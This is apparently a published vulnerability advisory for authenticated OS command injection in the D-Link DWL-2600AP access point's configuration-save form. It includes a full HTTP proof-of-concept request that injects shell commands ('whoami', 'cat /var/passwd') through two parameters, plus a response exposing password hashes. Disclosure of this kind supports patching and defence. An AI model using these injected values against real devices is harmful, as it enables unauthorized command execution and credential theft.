Document Title:
===============
D-Link DWL-2600AP - (Authenticated) OS Command Injection (Save Configuration)

Product & Service Introduction:
===============================
The D-Link DWL-2600AP has a web interface for configuration. You can use any web browser you like to login to the D-Link DWL-2600AP.

Affected Product(s):
====================
Product: D-Link DWL-2600AP (Web Interface)


Exploitation Technique:
=======================
Local


Severity Level:
===============
HIGH

Base Score (CVSS):
===============
7.8

===============
Request Method(s):
[+] POST

URL Path :
[+] /admin.cgi?action=config_save

Vulnerable POST Form Data Parameter:
[+] configBackup
[+] downloadServerip
==========================
Device Firmware version :
[+] 4.2.0.15

Hardware Version :
[+] A1

Device name :
[+] D-Link AP

Product Identifier : 
[+] WLAN-EAP

Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote or local authenticated attackers.
there is no input validation on the POST Form Data Parameter "configBackup"
and the Form Data Parameter "downloadServerip" (the input are passed directly to TFTP command) which allow attackers to execute arbitrary Operating System Commands on the device for malicious purposes.
The attacker has to know the credentials in order to access the Panel .
For security demonstration or to reproduce the vulnerability follow the provided information in the attachement provided Screenshot3.jpg .

--- PoC Session Logs ---
POST /admin.cgi?action=config_save HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 114
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Xxxxxxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/admin.cgi?action=config_save
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: sessionHTTP=PENcqbtRRuvmuZfPZnzuUddVIEAPADBp; clickedFolderFrameless=43%5E

check_tftp=up&configBackup=;whoami;whoami;.xml&downloadServerip=;cat /var/passwd;cat /var/passwd


----------->Response----------->

HTTP/1.0 200 OK
Content-Type: text/html; charset=UTF-8

/usr/bin/tftp: option requires an argument -- r
BusyBox v1.18.2 (2018-02-26 11:53:37 IST) multi-call binary.

Usage: tftp [OPTIONS] HOST [PORT]

Transfer a file from/to tftp server

Options:
	-l FILE	Local FILE
	-r FILE	Remote FILE
	-g	Get file
	-p	Put file
	-b SIZE	Transfer blocks of SIZE octets

sh: whoami: not found
sh: whoami: not found
sh: .xml: not found
root:$1$XDXDXDXD$JTedJSDYDA.pFjIToxlGA1:0:0:root:/root:/bin/sh
admin:2yn.4fvaTgedM:0:0:cisco:/root:/bin/splash
nobody:x:99:99:nobody:/:/bin/false

Note : for testing put the values in the fields like this : 
;command1;same_command1;command2;etc...

D-Link :
https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10113